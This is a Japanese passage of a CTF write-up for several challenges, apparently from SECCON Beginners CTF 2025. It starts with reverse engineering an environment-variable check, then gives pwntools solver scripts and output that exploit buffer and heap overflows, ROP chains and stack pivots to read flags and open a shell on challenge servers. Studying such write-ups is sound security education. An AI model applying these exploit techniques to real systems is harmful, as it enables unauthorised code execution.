**(longlong **)(*(longlong *)(*(longlong *)(unaff_GS_OFFSET + 0x60) + 0x18) + 0x20);
lVar3 = *plVar2;
auStack_70[4] =
((*(ulonglong *)plVar2[10] | 0x20002000200020) ^ *puVar7) * 0x100 +
**(longlong **)(lVar3 + 0x50) | 0x20002000200020;
lVar3 = *(longlong *)(lVar3 + 0x20);
lVar8 = (ulonglong)*(uint *)((ulonglong)*(uint *)(lVar3 + 0x3c) + lVar3 + 0x88) + lVar3;
auStack_70[2] = 0x2a087d454e564005;
lVar5 = 0;
while (((piVar6 = (int *)((ulonglong)
*(uint *)((ulonglong)*(uint *)(lVar8 + 0x20) + lVar3 + lVar5 * 4) +
lVar3), *piVar6 != 0x53746547 || (piVar6[1] != 0x61486474)) ||
(piVar6[2] != 0x656c646e))) {
lVar5 = lVar5 + 1;
}
auStack_70[3] = 0x52134041503a405b;
uVar4 = (*(code *)((ulonglong)
*(uint *)((ulonglong)*(uint *)(lVar8 + 0x1c) + lVar3 +
CONCAT62((int6)((ulonglong)lVar5 >> 0x10),
*(undefined2 *)
((ulonglong)*(uint *)(lVar8 + 0x24) + lVar3 + lVar5 * 2)) *
4) + lVar3))();
auStack_70[0] = 0x6b09591014035908;
lVar5 = 0;
while (((piVar6 = (int *)((ulonglong)
*(uint *)((ulonglong)*(uint *)(lVar8 + 0x20) + lVar3 + lVar5 * 4) +
lVar3), *piVar6 != 0x74697257 || (piVar6[1] != 0x6e6f4365)) ||
(piVar6[2] != 0x656c6f73))) {
lVar5 = lVar5 + 1;
}
auStack_70[1] = 0x681c13044e56721f;
uVar1 = *(uint *)((ulonglong)*(uint *)(lVar8 + 0x1c) + lVar3 +
CONCAT62((int6)((ulonglong)lVar5 >> 0x10),
*(undefined2 *)((ulonglong)*(uint *)(lVar8 + 0x24) + lVar3 + lVar5 * 2 ))
* 4);
for (lVar5 = 0; lVar5 != 4; lVar5 = lVar5 + 1) {
auStack_70[lVar5] = auStack_70[4] ^ auStack_70[lVar5];
}
(*(code *)((ulonglong)uVar1 + lVar3))(uVar4,auStack_70,0x20,0,0);
return 0;
}
冒頭部分の以下の処理を確認します。
puVar7 = *(ulonglong **)(*(longlong *)(*(longlong *)(unaff_GS_OFFSET + 0x60) + 0x20) + 0x80);
while( true ) {
if (*(int *)puVar7 == 0) {
return 0;
}
if ((((*(int *)puVar7 == 0x540043) && (*(int *)((longlong)puVar7 + 4) == 0x340046)) &&
(*(int *)(puVar7 + 1) == 0x3d0042)) && (*(int *)((longlong)puVar7 + 0xc) == 0x31)) break;
puVar7 = (ulonglong *)((longlong)puVar7 + 2);
}
puVar7 = *(ulonglong **)(*(longlong *)(*(longlong *)(unaff_GS_OFFSET + 0x60) + 0x20) + 0x80);は環境変数へのポインタを取得しています。以下は、x86dbgでpuVar7へ代入された値を確認したところになります。取得した値がRSIレジスタに格納されており、その値が左下のダンプに表示されています。

その後、puVar7をずらしながら00540043 00340046 003d0042 0031と比較して、等しければ次の処理に進み、そうでなければ終了しています。0054004300340046003d00420031は UTF-16 LE で解釈すると「CTF4B=1」となります。そのため、環境変数として「CTF4B=1」が定義されていれば条件を満たし、フラグが表示されます。
環境変数CTF4B=1を設定して、ps_z.ps1を実行します。
PS > echo $env:CTF4B
1
PS > Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
PS > .\ps_z.ps1
ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}
ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}
pwnable
pet_name
出題
ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。
nc pet-name.challenges.beginners.seccon.jp 9080
提供ファイル: chall
提供ファイル: main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void init() {
// You don't need to read this because it's just initialization
setbuf(stdout, NULL);
setbuf(stdin, NULL);
}
int main() {
init();
char pet_name[32] = {0};
char path[128] = "/home/pwn/pet_sound.txt";
printf("Your pet name?: ");
scanf("%s", pet_name);
FILE *fp = fopen(path, "r");
if (fp) {
char buf[256] = {0};
if (fgets(buf, sizeof(buf), fp) != NULL) {
printf("%s sound: %s\n", pet_name, buf);
} else {
puts("Failed to read the file.");
}
fclose(fp);
} else {
printf("File not found: %s\n", path);
}
return 0;
解法
実行すると名前を聞かれ、入力すると/home/pwn/pet_sound.txtの内容(ここではmeow)が表示されます。
$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: aaa
aaa sound: meow
入力の処理がscanf("%s", pet_name);となっているので、バッファオーバーフローの脆弱性があります。
main()関数のローカル変数pet_name[32]とpath[128]が連続した領域に確保されているため、名前の入力で32文字以上入力した場合、隣接したpathの領域を上書きすることになります。
問題文でフラグが入っているファイルパスが/home/pwn/flag.txtと示されているので、32文字のあとにそのパスを入力するソルバーを作成します。
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h", "-F" "#{pane_pid}", "-P"]
binf = "./chall"
elf = ELF(binf)
context.binary = elf
# p = process(binf)
p = remote("pet-name.challenges.beginners.seccon.jp", 9080)
# gdb.attach(p)
p.sendlineafter(b"?: ", b"a" * 32 + b"/home/pwn/flag.txt")
print(p.recvline())
# p.interactive()
実行結果
$ python3 solver.py
[*] '/home/naoki/SECCON_Beginners_CTF_2025/pet_name/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to pet-name.challenges.beginners.seccon.jp on port 9080: Done
[DEBUG] Received 0x10 bytes:
b'Your pet name?: '
[DEBUG] Sent 0x33 bytes:
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/pwn/flag.txt\n'
[DEBUG] Received 0x53 bytes:
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}\n'
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}\n'
[*] Closed connection to pet-name.challenges.beginners.seccon.jp port 9080
ctf4b{3xp1oit_pet_n4me!}
pet_sound
出題
ペットに鳴き声を教えましょう。
nc pet-sound.challenges.beginners.seccon.jp 9090
提供ファイル: chall
提供ファイル: main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Pet;
void speak_flag(struct Pet *p);
void speak_sound(struct Pet *p);
void visualize_heap(struct Pet *a, struct Pet *b);
struct Pet {
void (*speak)(struct Pet *p);
char sound[32];
};
int main() {
struct Pet *pet_A, *pet_B;
setbuf(stdout, NULL);
setbuf(stdin, NULL);
puts("--- Pet Hijacking ---");
puts("Your mission: Make Pet speak the secret FLAG!\n");
printf("[hint] The secret action 'speak_flag' is at: %p\n", speak_flag);
pet_A = malloc(sizeof(struct Pet));
pet_B = malloc(sizeof(struct Pet));
pet_A->speak = speak_sound;
strcpy(pet_A->sound, "wan...");
pet_B->speak = speak_sound;
strcpy(pet_B->sound, "wan...");
printf("[*] Pet A is allocated at: %p\n", pet_A);
printf("[*] Pet B is allocated at: %p\n", pet_B);
puts("\n[Initial Heap State]");
visualize_heap(pet_A, pet_B);
printf("\n");
printf("Input a new cry for Pet A > ");
read(0, pet_A->sound, 0x32);
puts("\n[Heap State After Input]");
visualize_heap(pet_A, pet_B);
pet_A->speak(pet_A);
pet_B->speak(pet_B);
free(pet_A);
free(pet_B);
return 0;
}
void speak_flag(struct Pet *p) {
char flag[64] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
puts("\nPet seems to want to say something, but can't find 'flag.txt'...");
return;
}
fgets(flag, sizeof(flag), f);
fclose(f);
flag[strcspn(flag, "\n")] = '\0';
puts("\n**********************************************");
puts("* Pet suddenly starts speaking flag.txt...!? *");
printf("* Pet: \"%s\" *\n", flag);
puts("**********************************************");
exit(0);
}
void speak_sound(struct Pet *p) {
printf("Pet says: %s\n", p->sound);
}
void visualize_heap(struct Pet *a, struct Pet *b) {
unsigned long long *ptr = (unsigned long long *)a;
puts("\n--- Heap Layout Visualization ---");
for (int i = 0; i < 12; i++, ptr++) {
printf("0x%016llx: 0x%016llx", (unsigned long long)ptr, *ptr);
if (ptr == (unsigned long long *)&a->speak) printf(" <-- pet_A->speak");
if (ptr == (unsigned long long *)a->sound) printf(" <-- pet_A->sound");
if (ptr == (unsigned long long *)&b->speak) printf(" <-- pet_B->speak (TARGET!)");
if (ptr == (unsigned long long *)b->sound) printf(" <-- pet_B->sound");
puts("");
}
puts("---------------------------------");
}
解法
Pet Aの鳴き声を入力して、それをそのまま表示するプログラムです。内部ではPet Bのデータも存在しており、そのアドレスやヒープ領域の状況など、必要な情報も合わせて表示されるようになっています。
鳴き声を表示する処理は関数ポインタとしてPet構造体が持っています。通常はspeak_sound()関数が設定されているのですが、これをspeak_flag()関数に書き換えるのがゴールとなります。
$ nc pet-sound.challenges.beginners.seccon.jp 9090
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!
[hint] The secret action 'speak_flag' is at: 0x64aa2bf27492
[*] Pet A is allocated at: 0x64aa441632a0
[*] Pet B is allocated at: 0x64aa441632d0
[Initial Heap State]
--- Heap Layout Visualization ---
0x000064aa441632a0: 0x000064aa2bf275d2 <-- pet_A->speak
0x000064aa441632a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x000064aa441632b0: 0x0000000000000000
0x000064aa441632b8: 0x0000000000000000
0x000064aa441632c0: 0x0000000000000000
0x000064aa441632c8: 0x0000000000000031
0x000064aa441632d0: 0x000064aa2bf275d2 <-- pet_B->speak (TARGET!)
0x000064aa441632d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x000064aa441632e0: 0x0000000000000000
0x000064aa441632e8: 0x0000000000000000
0x000064aa441632f0: 0x0000000000000000
0x000064aa441632f8: 0x0000000000020d11
---------------------------------
Input a new cry for Pet A > aaa
[Heap State After Input]
--- Heap Layout Visualization ---
0x000064aa441632a0: 0x000064aa2bf275d2 <-- pet_A->speak
0x000064aa441632a8: 0x00002e2e0a616161 <-- pet_A->sound
0x000064aa441632b0: 0x0000000000000000
0x000064aa441632b8: 0x0000000000000000
0x000064aa441632c0: 0x0000000000000000
0x000064aa441632c8: 0x0000000000000031
0x000064aa441632d0: 0x000064aa2bf275d2 <-- pet_B->speak (TARGET!)
0x000064aa441632d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x000064aa441632e0: 0x0000000000000000
0x000064aa441632e8: 0x0000000000000000
0x000064aa441632f0: 0x0000000000000000
0x000064aa441632f8: 0x0000000000020d11
---------------------------------
Pet says: aaa
..
Pet says: wan...
ソースコードを確認すると、書き込み先の構造体メンバがchar sound[32]となっており、以下の入力処理は問題なさそうですが、よく見ると書き込みサイズが32バイトではなく0x32(50)バイトになっているので、バッファオーバーフローの脆弱性があります。
read(0, pet_A->sound, 0x32);
改めて実行時のヒープ領域情報を見ると、pet_A->sound を越えてpet_B->speakを上書きしてspeak_flagのアドレスに書き換え可能です。その直前にある0x31はpet_B領域をmallocしたときの管理情報(サイズ)で、ここを上書きするとその後のメモリ管理に影響するのですが、この問題では特に問題になりません。
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h", "-F" "#{pane_pid}", "-P"]
binf = "./chall"
elf = ELF(binf)
context.binary = elf
# p = process(binf)
p = remote("pet-sound.challenges.beginners.seccon.jp", 9090)
# gdb.attach(p)
p.recvuntil(b" is at: ")
speak_flag_addr = int(p.recvline()[0:-1], 16)
payload = b"a" * 32
payload += b"a" * 8
payload += p64(speak_flag_addr)
p.sendlineafter(b"for Pet A > ", payload)
p.interactive()
実行結果
$ python3 solver.py
[*] '/home/naoki/SECCON_Beginners_CTF_2025/pet_sound/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to pet-sound.challenges.beginners.seccon.jp on port 9090: Done
[DEBUG] Received 0x15 bytes:
b'--- Pet Hijacking ---'
[DEBUG] Received 0x35a bytes:
b'\n'
b'Your mission: Make Pet speak the secret FLAG!\n'
b'\n'
b"[hint] The secret action 'speak_flag' is at: 0x566dedafb492\n"
b'[*] Pet A is allocated at: 0x566e2ad072a0\n'
b'[*] Pet B is allocated at: 0x566e2ad072d0\n'
b'\n'
b'[Initial Heap State]\n'
b'\n'
b'--- Heap Layout Visualization ---\n'
b'0x0000566e2ad072a0: 0x0000566dedafb5d2 <-- pet_A->speak\n'
b'0x0000566e2ad072a8: 0x00002e2e2e6e6177 <-- pet_A->sound\n'
b'0x0000566e2ad072b0: 0x0000000000000000\n'
b'0x0000566e2ad072b8: 0x0000000000000000\n'
b'0x0000566e2ad072c0: 0x0000000000000000\n'
b'0x0000566e2ad072c8: 0x0000000000000031\n'
b'0x0000566e2ad072d0: 0x0000566dedafb5d2 <-- pet_B->speak (TARGET!)\n'
b'0x0000566e2ad072d8: 0x00002e2e2e6e6177 <-- pet_B->sound\n'
b'0x0000566e2ad072e0: 0x0000000000000000\n'
b'0x0000566e2ad072e8: 0x0000000000000000\n'
b'0x0000566e2ad072f0: 0x0000000000000000\n'
b'0x0000566e2ad072f8: 0x0000000000020d11\n'
b'---------------------------------\n'
b'\n'
b'Input a new cry for Pet A > '
[DEBUG] Sent 0x31 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 61 61 61 61 61 61 61 61 92 b4 af ed 6d 56 00 00 │aaaa│aaaa│····│mV··│
00000030 0a │·│
00000031
[*] Switching to interactive mode
[DEBUG] Received 0x370 bytes:
00000000 0a 5b 48 65 61 70 20 53 74 61 74 65 20 41 66 74 │·[He│ap S│tate│ Aft│
00000010 65 72 20 49 6e 70 75 74 5d 0a 0a 2d 2d 2d 20 48 │er I│nput│]··-│-- H│
00000020 65 61 70 20 4c 61 79 6f 75 74 20 56 69 73 75 61 │eap │Layo│ut V│isua│
00000030 6c 69 7a 61 74 69 6f 6e 20 2d 2d 2d 0a 30 78 30 │liza│tion│ ---│·0x0│
00000040 30 30 30 35 36 36 65 32 61 64 30 37 32 61 30 3a │0005│66e2│ad07│2a0:│
00000050 20 30 78 30 30 30 30 35 36 36 64 65 64 61 66 62 │ 0x0│0005│66de│dafb│
00000060 35 64 32 20 3c 2d 2d 20 70 65 74 5f 41 2d 3e 73 │5d2 │<-- │pet_│A->s│
00000070 70 65 61 6b 0a 30 78 30 30 30 30 35 36 36 65 32 │peak│·0x0│0005│66e2│
00000080 61 64 30 37 32 61 38 3a 20 30 78 36 31 36 31 36 │ad07│2a8:│ 0x6│1616│
00000090 31 36 31 36 31 36 31 36 31 36 31 20 3c 2d 2d 20 │1616│1616│161 │<-- │
000000a0 70 65 74 5f 41 2d 3e 73 6f 75 6e 64 0a 30 78 30 │pet_│A->s│ound│·0x0│
000000b0 30 30 30 35 36 36 65 32 61 64 30 37 32 62 30 3a │0005│66e2│ad07│2b0:│
000000c0 20 30 78 36 31 36 31 36 31 36 31 36 31 36 31 36 │ 0x6│1616│1616│1616│
000000d0 31 36 31 0a 30 78 30 30 30 30 35 36 36 65 32 61 │161·│0x00│0056│6e2a│
000000e0 64 30 37 32 62 38 3a 20 30 78 36 31 36 31 36 31 │d072│b8: │0x61│6161│
000000f0 36 31 36 31 36 31 36 31 36 31 0a 30 78 30 30 30 │6161│6161│61·0│x000│
00000100 30 35 36 36 65 32 61 64 30 37 32 63 30 3a 20 30 │0566│e2ad│072c│0: 0│
00000110 78 36 31 36 31 36 31 36 31 36 31 36 31 36 31 36 │x616│1616│1616│1616│
00000120 31 0a 30 78 30 30 30 30 35 36 36 65 32 61 64 30 │1·0x│0000│566e│2ad0│
00000130 37 32 63 38 3a 20 30 78 36 31 36 31 36 31 36 31 │72c8│: 0x│6161│6161│
00000140 36 31 36 31 36 31 36 31 0a 30 78 30 30 30 30 35 │6161│6161│·0x0│0005│
00000150 36 36 65 32 61 64 30 37 32 64 30 3a 20 30 78 30 │66e2│ad07│2d0:│ 0x0│
00000160 30 30 30 35 36 36 64 65 64 61 66 62 34 39 32 20 │0005│66de│dafb│492 │
00000170 3c 2d 2d 20 70 65 74 5f 42 2d 3e 73 70 65 61 6b │<-- │pet_│B->s│peak│
00000180 20 28 54 41 52 47 45 54 21 29 0a 30 78 30 30 30 │ (TA│RGET│!)·0│x000│
00000190 30 35 36 36 65 32 61 64 30 37 32 64 38 3a 20 30 │0566│e2ad│072d│8: 0│
000001a0 78 30 30 30 30 32 65 32 65 32 65 36 65 36 31 30 │x000│02e2│e2e6│e610│
000001b0 61 20 3c 2d 2d 20 70 65 74 5f 42 2d 3e 73 6f 75 │a <-│- pe│t_B-│>sou│
000001c0 6e 64 0a 30 78 30 30 30 30 35 36 36 65 32 61 64 │nd·0│x000│0566│e2ad│
000001d0 30 37 32 65 30 3a 20 30 78 30 30 30 30 30 30 30 │072e│0: 0│x000│0000│
000001e0 30 30 30 30 30 30 30 30 30 0a 30 78 30 30 30 30 │0000│0000│0·0x│0000│
000001f0 35 36 36 65 32 61 64 30 37 32 65 38 3a 20 30 78 │566e│2ad0│72e8│: 0x│
00000200 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 │0000│0000│0000│0000│
00000210 0a 30 78 30 30 30 30 35 36 36 65 32 61 64 30 37 │·0x0│0005│66e2│ad07│
00000220 32 66 30 3a 20 30 78 30 30 30 30 30 30 30 30 30 │2f0:│ 0x0│0000│0000│
00000230 30 30 30 30 30 30 30 0a 30 78 30 30 30 30 35 36 │0000│000·│0x00│0056│
00000240 36 65 32 61 64 30 37 32 66 38 3a 20 30 78 30 30 │6e2a│d072│f8: │0x00│
00000250 30 30 30 30 30 30 30 30 30 32 30 64 31 31 0a 2d │0000│0000│020d│11·-│
00000260 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d │----│----│----│----│
*
00000280 0a 50 65 74 20 73 61 79 73 3a 20 61 61 61 61 61 │·Pet│ say│s: a│aaaa│
00000290 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
000002b0 61 61 61 92 b4 af ed 6d 56 0a 0a 2a 2a 2a 2a 2a │aaa·│···m│V··*│****│
000002c0 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a │****│****│****│****│
*
000002e0 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 2a 20 50 65 74 20 │****│****│*·* │Pet │
000002f0 73 75 64 64 65 6e 6c 79 20 73 74 61 72 74 73 20 │sudd│enly│ sta│rts │
00000300 73 70 65 61 6b 69 6e 67 20 66 6c 61 67 2e 74 78 │spea│king│ fla│g.tx│
00000310 74 2e 2e 2e 21 3f 20 2a 0a 2a 20 50 65 74 3a 20 │t...│!? *│·* P│et: │
00000320 22 63 74 66 34 62 7b 79 30 75 5f 65 78 70 6c 30 │"ctf│4b{y│0u_e│xpl0│
00000330 69 74 5f 30 76 33 72 66 6c 30 77 21 7d 22 20 2a │it_0│v3rf│l0w!│}" *│
00000340 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a │·***│****│****│****│
00000350 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a │****│****│****│****│
00000360 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a │****│****│****│***·│
00000370
[Heap State After Input]
--- Heap Layout Visualization ---
0x0000566e2ad072a0: 0x0000566dedafb5d2 <-- pet_A->speak
0x0000566e2ad072a8: 0x6161616161616161 <-- pet_A->sound
0x0000566e2ad072b0: 0x6161616161616161
0x0000566e2ad072b8: 0x6161616161616161
0x0000566e2ad072c0: 0x6161616161616161
0x0000566e2ad072c8: 0x6161616161616161
0x0000566e2ad072d0: 0x0000566dedafb492 <-- pet_B->speak (TARGET!)
0x0000566e2ad072d8: 0x00002e2e2e6e610a <-- pet_B->sound
0x0000566e2ad072e0: 0x0000000000000000
0x0000566e2ad072e8: 0x0000000000000000
0x0000566e2ad072f0: 0x0000000000000000
0x0000566e2ad072f8: 0x0000000000020d11
---------------------------------
Pet says: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x92\xb4\xaf\xedmV
**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************
[*] Got EOF while reading in interactive
ctf4b{y0u_expl0it_0v3rfl0w!}
pivot4b
出題
スタックはあなたが創り出すものです。
nc pivot4b.challenges.beginners.seccon.jp 12300
提供ファイル: chall
提供ファイル: src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gift_set_first_arg() {
asm volatile("pop %rdi");
asm volatile("ret");
}
void gift_call_system() {
system("echo \"Here's your gift!\"");
}
int main() {
char message[0x30];
printf("Welcome to the pivot game!\n");
printf("Here's the pointer to message: %p\n", message);
printf("> ");
read(0, message, sizeof(message) + 0x10);
printf("Message: %s\n", message);
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
解法
問題のタイトルからも想像できますが、スタックピボットを使う問題です。
実行すると、message変数のアドレスが表示されます。
$ nc pivot4b.challenges.beginners.seccon.jp 12300
Welcome to the pivot game!
Here's the pointer to message: 0x7ffe2369c910
> foo
Message: foo
入力処理を見ると、はっきりと0x10(16バイト)オーバーフローすることが分かります。これにより、隣接したSaved RBP とリターンアドレスを上書き可能です。
read(0, message, sizeof(message) + 0x10);
また、何もしないgift_set_first_arg()が定義されており、ここに必要なガジェットが入っています。
方針としては、以下になります。
- message バッファのアドレスをROPチェーンの格納先にする
バイナリが出力する message: 0x... を受け取り、そこにROPを仕込むためのベースアドレスとして利用 - ROPチェーン+ピボット準備を含むペイロードを read() のオーバーフローで書き込む
system("/bin/sh") 呼び出し用のROPを message に書き込みつつ、leave; ret を使った スタックピボットの設定も含める - leave; ret を実行させて、message にピボットされたスタックからROPを起動
rsp が message に切り替わり、ROPチェーンが実行 → シェル獲得
上記1.実施後は以下のような状態になります。
これによってreturn先に指定されたleave; ret命令が実行されてることにより、スタックがmessageに移動し、書き込まれているROPチェーンによってsystem("/bin/sh")が実行されます。
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h", "-F" "#{pane_pid}", "-P"]
binf = "./chall"
elf = ELF(binf)
context.binary = elf
# p = process(binf)
p = remote("pivot4b.challenges.beginners.seccon.jp", 12300)
# gdb.attach(p)
rop = ROP(elf)
pop_rdi_gadget = rop.find_gadget(["pop rdi", "ret"]).address
leave_gadget = rop.find_gadget(["leave", "ret"]).address
p.recvuntil(b"message: ")
message_addr = int(p.recvline()[0:-1], 16)
payload = p64(pop_rdi_gadget)
payload += p64(message_addr + 0x18)
payload += p64(elf.symbols["system"])
payload += b"/bin/sh\x00"
payload += b"a" * 0x8 * 2
payload += p64(message_addr - 0x8)
payload += p64(leave_gadget)
p.sendlineafter(b"> ", payload)
p.interactive()
実行結果
$ python3 solver.py
[*] '/home/naoki/SECCON_Beginners_CTF_2025/pivot4b/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[+] Opening connection to pivot4b.challenges.beginners.seccon.jp on port 12300: Done
[*] Loaded 6 cached gadgets for './chall'
[DEBUG] Received 0x4b bytes:
b'Welcome to the pivot game!\n'
b"Here's the pointer to message: 0x7ffd6db58bc0\n"
b'> '
[DEBUG] Sent 0x41 bytes:
00000000 7a 11 40 00 00 00 00 00 d8 8b b5 6d fd 7f 00 00 │z·@·│····│···m│····│
00000010 40 10 40 00 00 00 00 00 2f 62 69 6e 2f 73 68 00 │@·@·│····│/bin│/sh·│
00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000030 b8 8b b5 6d fd 7f 00 00 11 12 40 00 00 00 00 00 │···m│····│··@·│····│
00000040 0a │·│
00000041
[*] Switching to interactive mode
[DEBUG] Received 0xd bytes:
00000000 4d 65 73 73 61 67 65 3a 20 7a 11 40 0a │Mess│age:│ z·@│·│
0000000d
Message: z\x11@
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x2e bytes:
b'flag-bce7759151aa98ff2e61358f578ec2eb.txt\n'
b'run\n'
flag-bce7759151aa98ff2e61358f578ec2eb.txt
run
$ cat flag-bce7759151aa98ff2e61358f578ec2eb.txt
[DEBUG] Sent 0x2e bytes:
b'cat flag-bce7759151aa98ff2e61358f578ec2eb.txt\n'
[DEBUG] Received 0x2a bytes:
b'ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}\n'
ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}
$
ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}
pivot4b++
出題
pivot4bからGiftがなくなってしまいました...
nc pivot4b-2.challenges.beginners.seccon.jp 12300
提供ファイル: chall
提供ファイル: libc.so.6
提供ファイル: src.c
#include <stdio.h>
#include <unistd.h>
int vuln() {
char message[0x30];
printf("Welcome to the second pivot game!\n");
printf("> ");
read(0, message, sizeof(message) + 0x10);
printf("Message: %s\n", message);
return 0;
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
vuln();
}
解法
$ nc pivot4b-2.challenges.beginners.seccon.jp 12300
Welcome to the second pivot game!
> aaa
Message: aaa
q
ポイントは以下の通りです。
- messageは0x30バイトなのに、readで0x40バイト(0x10バイトオーバー)読み込み可能
→ 隣接したSaved RBP とリターンアドレスを上書き可能 -
printf("Message: %s", message)あり
→ アドレスリーク可能 - vuln()は何度も呼び出せるような設計にされている(戻って再度read実行可能)
処理の流れは次のようになります。
- オーバーフローさせて書き込み、リターンアドレスの下位1バイトを書き換えて再度vuln()を呼び出しつつ、PIEベースのアドレスをリークさせる
- 2回目のvuln()にて、RBPを.bssセグメントに設定しつつ、リターンアドレスを書き換えて再度vuln()のprintf()にジャンプし、libcのアドレスをリークさせる
- 3回目の入力を求められるので、.bssセグメントにsystem("/bin/sh")を実行するROPチェーンを書き込み、スタックピボットにてスタックを.bssセグメントに移動させたあと、ROPを実行する
1回目: リターンアドレス下位1バイト書き換え+PIEベースアドレスリーク
main()処理は以下のようになっており、通常vuln()終了後は0x010122bにリターンしますが、オーバーフローにてリターンアドレスの下位1バイトを0x26に変更することにより、再度vuln()関数を実行できます。(challバイナリがPIE enabledなので、アドレスが不定となり任意のリターンアドレスを指定できず、現状のアドレスをオフセットさせることしかできません)
また、このときprintf()処理にてリターンアドレスまで表示することができるので、PIEベースのアドレスがわかります。

payload = b"a" * 0x8 * 7
payload += b"\x26"
p.sendafter(b"> ", payload)
main_leak = unpack(p.recvline()[65:71].ljust(8, b"\0"))
elf.address = main_leak - 74 - elf.symbols["main"]
2回目: RBPを.bssセグメントに設定+libcアドレスリーク
ROPチェーンを書き込んで実行したいのですが、書き込み先のmessage変数のアドレスもわからず、チェーン作成に必要なlibcのアドレスもわからない状況です。
以下は1回目のvuln()でprintf()実行直後の状態ですが、printf()の処理が終了するとRDIがfunlockfile()を参照している状態になっているので、これを表示してlibcアドレスをリークさせます。

すでにPIEベースのアドレスはわかっているので、今度はchall内の任意のアドレスにジャンプできます。vuln()の処理は以下のようになっており、printf()をcallするところ(0x0010119f、つまりvuln()+38)にジャンプすればRDI(第1引数)が表示できます。

その後の処理でread()関数を呼び出していますが、書き込み先として[RBP + -0x30]となっているので、RBPに「書き込みたいアドレス+0x30」を設定すればよいことになります。今回は.bssセグメントにROPチェーンを書き込んでスタックピボットすることを想定しているため、.bssセグメント+0x30を書き込み先にします。
bss_address = elf.bss() + 0x800 # 余裕をもって0x800バイトオフセット
payload = b"A" * 0x30
payload += p64(bss_address + 0x30)
payload += p64(elf.symbols["vuln"] + 38)
p.sendafter(b"> ", payload)
funlockfile_leak = unpack(p.recv()[64:71].ljust(8, b"\0"))
libc.address = funlockfile_leak - libc.symbols["funlockfile"]
3回目: ROPチェーン書き込み+スタックピボット+ROP実行
read()によって入力を求められますが、vunl()の途中にジャンプしているので>プロンプトは表示されません。
libcアドレスがわかったので、前回はGIFTとして登録されていたpop rdiガジェットをlibcから取得します。また、スタックピボットに必要となるleaveガジェットも合わせて取得します。
情報、条件は揃ったので、前問pivot4bと同様にROPを書き込んで、スタックピボットし、ROPを実行してシェルを取得します。
rop = ROP(libc)
leave_gadget = rop.find_gadget(["leave", "ret"]).address
pop_rdi_gadget = rop.find_gadget(["pop rdi", "ret"]).address
bin_sh = next(libc.search(b"/bin/sh"))
payload = p64(pop_rdi_gadget)
payload += p64(bin_sh)
payload += p64(libc.symbols["system"])
payload += b"a" * 0x8 * 3
payload += p64(bss_address - 0x8)
payload += p64(leave_gadget)
p.send(payload)
追記
作問者Writeupを見てみましたが、3回目はスタックピボット、ROP実行しなくても、libcアドレスがわかっているのでone_gadgetに飛ばすだけで良かったようです。これに気づいていれば時間内に解けた...
one_gadget = libc.address + 0xEBD3F
payload = b"A" * 0x30
payload += p64(bss_address)
payload += p64(one_gadget)
p.send(payload)
最終的に、ソルバーは以下のようになります。
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h", "-F" "#{pane_pid}", "-P"]
binf = "./chall"
elf = ELF(binf)
context.binary = elf
libcf = "./libc.so.6"
libc = ELF(libcf)
